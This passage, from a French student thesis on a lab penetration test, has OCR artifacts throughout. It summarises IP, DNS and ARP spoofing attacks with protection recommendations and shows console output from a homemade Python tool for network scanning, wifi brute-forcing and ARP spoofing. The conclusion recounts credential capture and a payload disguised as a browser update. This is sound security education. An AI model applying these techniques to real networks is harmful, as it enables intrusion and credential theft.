machine de pentester a I’aide de la commande download <nom de fichier>.

Figure 3. 38 Téléchargement de fichier.

5.4 Rapport
Apreés l'achevement de toutes les phases, nous avons élaboré un rapport qui illustre les
différentes attaques effectue dans notre test de pénétration et les recommandations de

protection. Montre dans Tableau 3.1.
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Recommandations de protection

Attaque réussi | échoué Coté client Coté serveur
-Ne visiter que des sites Web
sécurisés (HTTPS). -Utiliser un protocole plus sr, Comme
I’IPv6.
- Utiliser et mettre a jour des -Mettre en ceuvre les protocoles SSL/TLS sur
logiciels (antivirus). votre site.
-Surveiller les réseaux pour détecter toute
- Utiliser un réseau privé activité anormale.
virtuel VPN. -Mettre en ceuvre un filtrage des paquets.
IP -Utiliser I’inspection approfondie des paquets
Spoofing 9 (DPI).
-Mettre en ceuvre des mécanismes de
détection comme DNSsec.
DNS -Activer la journalisation et la surveillance
Spoofing X des requétes DNS.
- Utiliser des logiciels de
ARP détection de l'usurpation ARP
Spoofing X comme XArp et ARP-Guard.
-Utiliser des logiciels de
sécurité de type anti-virus
comme AVC et Norton 360,
etc.
-Mettre régulierement a jour
votre ordinateur et vos
logiciels
Malwares X -Protéger votre boite mail
-Installer un pare-feu.
-Utiliser VPN pour sécuriser
le navigateur sur le web.
Downgrade
HTTPS to 9
HTTP

Table 3. 1 Les attaques effectues et les recommandations.

6. Mise en place d’un outil de pénétration

Afin d’enrichir notre travail, nous avons décidé de programmer un outil peu compliqué

dans son utilisation, qui scanne et applique certaines attaques.

6.1 Langage de programmation

Pour réaliser notre outil, nous avons choisi python comme langage de programmation. Qui

est un langage de programmation open source, orienté objet et interprété. Il contient des
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bibliothéques spécialisées qui ’ont rendu utilis¢ dans de nombreuses situations telles que

I’analyse des données et le développement logiciel.

6.2 Outil de pénétration
La premiére interface qui nous apparait lorsque nous exécutons notre outil est illustrée ci-

dessous. Cela nous montre les trois options qu’il effectue : Scanner, attaque par brute force et

attaque par man in the middle.

1: Scanner
2: Brute Force
3: Man in the middle

Choose a number :I

Figure 3. 39 Interface 1.

Aprés, si Iutilisateur choisit la premiére option « Scanner », cette option lui donnera deux

autres options qui sont le scan du réseau et le scan d’une machine.

Si 'utilisateur veut scanner le réseau, il lui suffit de taper ‘n” ou ‘N’en majuscule et cela

I’aménera directement au scanner du réseau qui lui demandera d’entrer I’adresse IP du réseau.

Ce dernier commencera a afficher ’adresse IP de toutes les machines connectées sur le

réseau. Comme indiqué ci-dessous.

Choose a number :1
kokokok sk ok sk ok ok ok ok k ok kR kR Rk kR R k5% Walcom to the Scanner #kkkssss s shstkkskkssstrk

shosk sk ok ok ok sk ok o ok ok ok R R R R R R R R R R Rk o o ko ok ok ok sk ok ok ok ok sk ok sk kR kR kR R R R R R R R R R R Rk kR R R Rk
shosk sk ok ok ok sk ok o ok ok ok R R R R R R R R R R Rk o o ko ok ok ok sk ok ok ok ok sk ok sk kR kR kR R R R R R R R R R R Rk kR R R Rk

#**%*+ please type 'M' for scan machine or 'N' for network *: Ak
s o o R R s R o o ook o K R KR K R R R kR o s sk sk sk sk o o s ok sk R ok Kok K

TN NNNT TN TN .
| |||
_| [ A Il |

[

|
s © [If
A
| |

SV v/ Q|
L A W AN A A

\

Enter default IP address of router :192.168.1.1
Scanning Please wait

Host {} 192.168.1.1

Host {} 192.168.1.35

Host {} 192.168.1.36

Host {} 192.168.1.49

Figure 3. 40 Scan du réseau.
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Mais si I’utilisateur veut scanner une machine, il lui suffit de taper ‘m’ ou ‘M’en majuscule
et cela ’laménera directement au scanner de port qui lui demandera d’entrer I’adresse IP de la

machine a scanner.

Ce dernier commencera & afficher les ports ouverts dans la machine tant que la machine
est connectée au réseau. Si la machine quitte le réseau, il lui apparaitra que la machine est

déconnectée. Tout cela est montre dans Figure 3.41.

Choose a number :1

kok kokok ok kb ok kbR ok Rk sk kR ok k Walcom to the Scanner *Fkssskss ko kook ok ook okokokok ok
st s sk ok sk ook o o o ok ok ok o R e o ok ok ok ok ok e e o ok ok ok ok ok e o sk ok ok o e ok ok ok ok ke ok o o ok ok ok ok ok e e o ok ok ok ok ok s ook ok ok ok ok ok sk ok oK koK
sk ok sk o s ok o ok ok ok ok ok sk s sk sk ok ok ok ok o sk ok sk sk ok ok ok o ok o sk ok o sk ok ok ok ok ok o sk ok o ok ok ok ok ok ok o o ok e ok ok ok o ok ok ok ok ok ok ok ok ok ok ok R ok ok o

*kkkkkki*++ Please type 'M' for scan machine or "N' for network *#*******x
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Enter the IP address of the machine to be scanned: 192.168.1.37
Port 135: OPEN
Port 139: OPEN

Figure 3. 41 Scan des ports ouverts.

Maintenant, si I’utilisateur choisit la deuxiéme option « Brute force », il aura une option
d’attaque wifi par brute force qui lui demandera d’entrer le nom du réseau wifi et le fichier
des mots de passe.

Apreés cela, il commencera a attaquer jusqu'a ce que le mot de passe correct soit trouve,

comme indiqué dans Figure 3.42.

Choose a number :2
sk ok ok ok okok kb kool ok ok ok kb ok ok ok ok Bpute Fopce % kokskok ok skok sk ok ok ok ok ok sk ok sk ok ok ok ok

3k 3k 3k sk >k 3k ok 3k 3k ok 3k ok ok sk ok sk ok 3k ok ok sk ok ok ok ok sk ok sk sk sk sk ok sk ok ok sk ok sk ok sk ok sk sk ok sk sk sk sk ok sk ok sk ok ok ok ok ok ok ok kok kok ok ok
1: Wifi Brute Force

Choose a number :1

You have chosen the wifi brute force

AN

SSID: D-Link

Passwords File: Password.txt

Cracking. ..

Password Not Found! : Password
Password Not Found! : psswrd
Password Not Found! : 123456789
Password Not Found! : 12345678
Password Not Found! : Motpasse
Password Not Found! : adminwifi
Password Not Found! : hello
Password Not Found! : 1973@29©
Password Not Found! : abcdefghip
Password Found!

Password is: @Makiaeses

Figure 3. 42 Attaque wifi par brute force.
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Chapitre 3 — Cas d’utilisation

La derniére option est les attaques « Man in the middle », qui contiennent une attaque
d’usurpation d’ARP. Lorsque I'utilisateur le sélectionnera, il lui demandera d’entrer I’adresse

IP de la cible et la passerelle.

Choose a number :3

ok ok ok okok ok ko ok ckokokkckkkkkok Rk kR Man in the middle % sk ok ok ok ok ok ok ook ok ok okokok ok
= = o o o o o o o o e e e e o o o o o ok o o ok ok o ok ok ok ok o o ok ok ok ok ok ok s o ok ok ok o o o o e e e e ok o o e o o o e e e e ok ok ok ok
1: ARP Spoof

Choose a number :1

You have chosen the ARP spoof
Enter target IP address :192.168.1.35
Enter gateway IP address :192.168.1.1

Figure 3. 43 Attaque d’usurpation d’ARP.

7. Conclusion

Avec la fin de ce chapitre, que nous avons consacre a la réalisation de test de pénétration.
Nous avons arrives au bout de ce projet, on peut dire que nous avons pu obtenir une vision
concréte dans deux domaines importants de notre époque que sont les tests de pénétration et

la sécurité informatique.
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CONCLUSION GENERALE

Notre projet consiste a réaliser un test de pénétration en utilisant les mémes techniques et
outils que les hackers expérimentés pour détecter les failles des systemes et tester la
robustesse de leur securité.

Pour mener a bien ce test, nous avons réalisé les attaques suivantes : L’usurpation de
I’identité (IP spoofing) dont laquelle nous avons réussi a rendre la machine cible trés lent .
ARP spoofing ou nous avons pu suivre le trafic de la cible et nous avons également pu
obtenir le nom d’utilisateur et le mot de passe de la cible lorsqu’elle se connecte a un site. Dns
spoofing qui est congu pour faire correspondre l'adresse IP d'une machine qu'i est sous le
controle de pentester a un nom de domaine réel et valide. Grace a ce dernier, nous avons pu
tromper la cible pour télécharger un payload, pansant qu’il est un fichier de mis a jour de
navigateur. Ce qui nous a permis de contrdler a distance la machine cible et d’effectuer
plusieurs opérations sur celui-ci, telles que : prendre une capture d’écran, Ouverture de disque
local, etc. Ces attaques que nous avons faites sont quelques-unes des attaques qui servent a
divulguer des vulnérabilités que les hackers peuvent exploiter pour des fins malveillantes.

Pour remedier a cela, nous avons présenté quelques recommandations de sécurité pour
éviter ces menaces et attaques potentielles.

Les problémes de sécurité restent associés a un processus complexe de nature cyclique. En
effet, avec le développement rapide des technologies et des équipements informatiques des
entreprises, les problématiques de sécurité ne cessent d'émerger.

La perspective de notre projet dans le futur est d'utiliser [lintelligence artificielle pour

développer et améliorer l'efficace de I'outil de pénétration.
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Résumeé

La société¢ aujourd’hui dépend plus que jamais des services de réseau informatique, la
sécurité de ce dernier est désormais une exigence de base. Il existe différentes mesures de
sécurité que les administrateurs du réseau peuvent appliquer pour sécuriser le réseau.
Cependant, la meilleure méthode pour améliorer le niveau de sécurité d’un réseau est
d’effectuer un test de pénétration.

Au cours de notre mémoire, nous avons concevoir un laboratoire pour realiser un test de
pénétration en utilisant les mémes techniques et outils que les hackers, afin d’exploiter et
mettre en evidence les failles de la machine ciblé, accompagné de proposer des
recommandations de sécurité limitant ces menaces informatique. Puis, nous avons programmé
un outil de pénétration qui scanne et effectue certaines attaques.

Mots clés : Test pénétration, Vulnérabilité, Sécurité du réseau, Attaques.
Abstract

Society today depends more than ever on computer network services, the security of the
latter is now a basic requirement. There are various security measures that network
administrators can apply to secure the network. However, the best method to improve the
security level of a network is to perform a penetration test.

During our thesis, we designed a laboratory to carry out a penetration test using the same
techniques and tools as the hackers, in order to exploit and highlight the flaws in the targeted
machine, accompanied by proposing security recommendations limiting these computer
threats. Then, we programmed a penetration tool that scans and performs certain attacks.

Keywords: Test penetration, Vulnerability, Network security, Attacks.
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